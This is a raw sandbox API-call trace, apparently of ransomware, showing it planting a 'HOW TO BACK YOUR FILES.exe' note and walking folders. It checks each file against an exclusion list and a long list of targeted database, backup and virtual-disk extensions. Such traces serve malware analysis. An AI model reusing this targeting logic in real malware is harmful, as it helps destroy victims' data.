	[0080.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.710] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0080.712] CloseHandle (hObject=0x15c) returned 1
	[0080.712] CloseHandle (hObject=0x9c) returned 1
	[0080.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.714] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fa16ed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.714] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.714] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fa16ed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.714] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.714] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0080.714] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE"
	[0080.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0080.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0080.714] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE") returned 35
	[0080.714] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE"
	[0080.714] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.714] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.715] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.715] GetLastError () returned 0x0
	[0080.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.715] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.715] CloseHandle (hObject=0x10c) returned 1
	[0080.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.715] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.715] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.716] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.716] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.716] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.716] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.716] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.716] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.716] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.716] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.716] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="Apollon865.txt.exe") returned 1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".") returned 1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="..") returned 1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="windows") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="bootmgr") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="temp") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="pagefile.sys") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="boot") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ids.txt") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ntuser.dat") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="perflogs") returned -1
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="MSBuild") returned -1
	[0080.716] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0080.716] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\*") returned 37
	[0080.716] lstrcpyW (in: lpString1=0x119e650, lpString2="AssetLibrary.ico" | out: lpString1="AssetLibrary.ico") returned="AssetLibrary.ico"
	[0080.716] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0080.716] lstrlenW (lpString="Apollon865") returned 10
	[0080.716] lstrcmpiW (lpString1="ibrary.ico", lpString2="Apollon865") returned 1
	[0080.716] lstrlenW (lpString=".dll") returned 4
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".dll") returned 1
	[0080.716] lstrlenW (lpString=".lnk") returned 4
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".lnk") returned 1
	[0080.716] lstrlenW (lpString=".ini") returned 4
	[0080.716] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".ini") returned 1
	[0080.717] lstrlenW (lpString=".sys") returned 4
	[0080.717] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".sys") returned 1
	[0080.717] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0080.717] lstrlenW (lpString="bak") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0080.717] lstrlenW (lpString="ba_") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0080.717] lstrlenW (lpString="dbb") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0080.717] lstrlenW (lpString="vmdk") returned 4
	[0080.717] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0080.717] lstrlenW (lpString="rar") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0080.717] lstrlenW (lpString="zip") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0080.717] lstrlenW (lpString="tgz") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0080.717] lstrlenW (lpString="vbox") returned 4
	[0080.717] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0080.717] lstrlenW (lpString="vdi") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0080.717] lstrlenW (lpString="vhd") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0080.717] lstrlenW (lpString="vhdx") returned 4
	[0080.717] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0080.717] lstrlenW (lpString="avhd") returned 4
	[0080.717] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0080.717] lstrlenW (lpString="db") returned 2
	[0080.717] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0080.717] lstrlenW (lpString="db2") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0080.717] lstrlenW (lpString="db3") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0080.717] lstrlenW (lpString="dbf") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0080.717] lstrlenW (lpString="mdf") returned 3
	[0080.717] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0080.718] lstrlenW (lpString="mdb") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0080.718] lstrlenW (lpString="sql") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0080.718] lstrlenW (lpString="sqlite") returned 6
	[0080.718] lstrcmpiW (lpString1="ry.ico", lpString2="sqlite") returned -1
	[0080.718] lstrlenW (lpString="sqlite3") returned 7
	[0080.718] lstrcmpiW (lpString1="ary.ico", lpString2="sqlite3") returned -1
	[0080.718] lstrlenW (lpString="sqlitedb") returned 8
	[0080.718] lstrcmpiW (lpString1="rary.ico", lpString2="sqlitedb") returned -1
	[0080.718] lstrlenW (lpString="xml") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0080.718] lstrlenW (lpString="$er") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0080.718] lstrlenW (lpString="4dd") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0080.718] lstrlenW (lpString="4dl") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0080.718] lstrlenW (lpString="^^^") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0080.718] lstrlenW (lpString="abs") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0080.718] lstrlenW (lpString="abx") returned 3
	[0080.718] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0080.718] lstrlenW (lpString="accdb") returned 5
	[0080.718] lstrcmpiW (lpString1="y.ico", lpString2="accdb") returned 1
	[0080.718] lstrlenW (lpString="accdc") returned 5
	[0080.718] lstrcmpiW (lpString1="y.ico", lpString2="accdc") returned 1
	[0080.718] lstrlenW (lpString="accde") returned 5
	[0080.718] lstrcmpiW (lpString1="y.ico", lpString2="accde") returned 1
	[0080.718] lstrlenW (lpString="accdr") returned 5
	[0080.718] lstrcmpiW (lpString1="y.ico", lpString2="accdr") returned 1
	[0080.718] lstrlenW (lpString="accdt") returned 5
	[0080.718] lstrcmpiW (lpString1="y.ico", lpString2="accdt") returned 1
	[0080.718] lstrlenW (lpString="accdw") returned 5
	[0080.718] lstrcmpiW (lpString1="y.ico", lpString2="accdw") returned 1
	[0080.718] lstrlenW (lpString="accft") returned 5
	[0080.719] lstrcmpiW (lpString1="y.ico", lpString2="accft") returned 1
	[0080.719] lstrlenW (lpString="adb") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.719] lstrlenW (lpString="adb") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.719] lstrlenW (lpString="ade") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0080.719] lstrlenW (lpString="adf") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0080.719] lstrlenW (lpString="adn") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0080.719] lstrlenW (lpString="adp") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0080.719] lstrlenW (lpString="alf") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0080.719] lstrlenW (lpString="ask") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0080.719] lstrlenW (lpString="btr") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0080.719] lstrlenW (lpString="cat") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0080.719] lstrlenW (lpString="cdb") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0080.719] lstrlenW (lpString="ckp") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0080.719] lstrlenW (lpString="cma") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0080.719] lstrlenW (lpString="cpd") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0080.719] lstrlenW (lpString="dacpac") returned 6
	[0080.719] lstrcmpiW (lpString1="ry.ico", lpString2="dacpac") returned 1
	[0080.719] lstrlenW (lpString="dad") returned 3
	[0080.719] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0080.719] lstrlenW (lpString="dadiagrams") returned 10
	[0080.719] lstrcmpiW (lpString1="ibrary.ico", lpString2="dadiagrams") returned 1
	[0080.719] lstrlenW (lpString="daschema") returned 8
	[0080.719] lstrcmpiW (lpString1="rary.ico", lpString2="daschema") returned 1
	[0080.720] lstrlenW (lpString="db-journal") returned 10
	[0080.720] lstrcmpiW (lpString1="ibrary.ico", lpString2="db-journal") returned 1
	[0080.720] lstrlenW (lpString="db-shm") returned 6
	[0080.720] lstrcmpiW (lpString1="ry.ico", lpString2="db-shm") returned 1
	[0080.720] lstrlenW (lpString="db-wal") returned 6
	[0080.720] lstrcmpiW (lpString1="ry.ico", lpString2="db-wal") returned 1
	[0080.720] lstrlenW (lpString="dbc") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0080.720] lstrlenW (lpString="dbs") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0080.720] lstrlenW (lpString="dbt") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0080.720] lstrlenW (lpString="dbv") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0080.720] lstrlenW (lpString="dbx") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0080.720] lstrlenW (lpString="dcb") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0080.720] lstrlenW (lpString="dct") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0080.720] lstrlenW (lpString="dcx") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0080.720] lstrlenW (lpString="ddl") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0080.720] lstrlenW (lpString="dlis") returned 4
	[0080.720] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0080.720] lstrlenW (lpString="dp1") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0080.720] lstrlenW (lpString="dqy") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0080.720] lstrlenW (lpString="dsk") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0080.720] lstrlenW (lpString="dsn") returned 3
	[0080.720] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0080.720] lstrlenW (lpString="dtsx") returned 4
	[0080.720] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0080.720] lstrlenW (lpString="dxl") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0080.721] lstrlenW (lpString="eco") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0080.721] lstrlenW (lpString="ecx") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0080.721] lstrlenW (lpString="edb") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0080.721] lstrlenW (lpString="epim") returned 4
	[0080.721] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0080.721] lstrlenW (lpString="fcd") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0080.721] lstrlenW (lpString="fdb") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0080.721] lstrlenW (lpString="fic") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0080.721] lstrlenW (lpString="flexolibrary") returned 12
	[0080.721] lstrcmpiW (lpString1="tLibrary.ico", lpString2="flexolibrary") returned 1
	[0080.721] lstrlenW (lpString="fm5") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0080.721] lstrlenW (lpString="fmp") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0080.721] lstrlenW (lpString="fmp12") returned 5
	[0080.721] lstrcmpiW (lpString1="y.ico", lpString2="fmp12") returned 1
	[0080.721] lstrlenW (lpString="fmpsl") returned 5
	[0080.721] lstrcmpiW (lpString1="y.ico", lpString2="fmpsl") returned 1
	[0080.721] lstrlenW (lpString="fol") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0080.721] lstrlenW (lpString="fp3") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0080.721] lstrlenW (lpString="fp4") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0080.721] lstrlenW (lpString="fp5") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0080.721] lstrlenW (lpString="fp7") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0080.721] lstrlenW (lpString="fpt") returned 3
	[0080.721] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0080.722] lstrlenW (lpString="frm") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0080.722] lstrlenW (lpString="gdb") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.722] lstrlenW (lpString="gdb") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.722] lstrlenW (lpString="grdb") returned 4
	[0080.722] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0080.722] lstrlenW (lpString="gwi") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0080.722] lstrlenW (lpString="hdb") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0080.722] lstrlenW (lpString="his") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0080.722] lstrlenW (lpString="ib") returned 2
	[0080.722] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0080.722] lstrlenW (lpString="idb") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0080.722] lstrlenW (lpString="ihx") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0080.722] lstrlenW (lpString="itdb") returned 4
	[0080.722] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0080.722] lstrlenW (lpString="itw") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0080.722] lstrlenW (lpString="jet") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0080.722] lstrlenW (lpString="jtx") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0080.722] lstrlenW (lpString="kdb") returned 3
	[0080.722] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0080.722] lstrlenW (lpString="kexi") returned 4
	[0080.722] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0080.722] lstrlenW (lpString="kexic") returned 5
	[0080.722] lstrcmpiW (lpString1="y.ico", lpString2="kexic") returned 1
	[0080.722] lstrlenW (lpString="kexis") returned 5
	[0080.722] lstrcmpiW (lpString1="y.ico", lpString2="kexis") returned 1
	[0080.723] lstrlenW (lpString="lgc") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0080.723] lstrlenW (lpString="lwx") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0080.723] lstrlenW (lpString="maf") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0080.723] lstrlenW (lpString="maq") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0080.723] lstrlenW (lpString="mar") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0080.723] lstrlenW (lpString="marshal") returned 7
	[0080.723] lstrcmpiW (lpString1="ary.ico", lpString2="marshal") returned -1
	[0080.723] lstrlenW (lpString="mas") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0080.723] lstrlenW (lpString="mav") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0080.723] lstrlenW (lpString="maw") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0080.723] lstrlenW (lpString="mdbhtml") returned 7
	[0080.723] lstrcmpiW (lpString1="ary.ico", lpString2="mdbhtml") returned -1
	[0080.723] lstrlenW (lpString="mdn") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0080.723] lstrlenW (lpString="mdt") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0080.723] lstrlenW (lpString="mfd") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0080.723] lstrlenW (lpString="mpd") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0080.723] lstrlenW (lpString="mrg") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0080.723] lstrlenW (lpString="mud") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0080.723] lstrlenW (lpString="mwb") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0080.723] lstrlenW (lpString="myd") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0080.723] lstrlenW (lpString="ndf") returned 3
	[0080.723] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0080.724] lstrlenW (lpString="nnt") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0080.724] lstrlenW (lpString="nrmlib") returned 6
	[0080.724] lstrcmpiW (lpString1="ry.ico", lpString2="nrmlib") returned 1
	[0080.724] lstrlenW (lpString="ns2") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0080.724] lstrlenW (lpString="ns3") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0080.724] lstrlenW (lpString="ns4") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0080.724] lstrlenW (lpString="nsf") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0080.724] lstrlenW (lpString="nv") returned 2
	[0080.724] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0080.724] lstrlenW (lpString="nv2") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0080.724] lstrlenW (lpString="nwdb") returned 4
	[0080.724] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0080.724] lstrlenW (lpString="nyf") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0080.724] lstrlenW (lpString="odb") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.724] lstrlenW (lpString="odb") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.724] lstrlenW (lpString="oqy") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0080.724] lstrlenW (lpString="ora") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0080.724] lstrlenW (lpString="orx") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0080.724] lstrlenW (lpString="owc") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0080.724] lstrlenW (lpString="p96") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0080.724] lstrlenW (lpString="p97") returned 3
	[0080.724] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0080.724] lstrlenW (lpString="pan") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0080.725] lstrlenW (lpString="pdb") returned 3
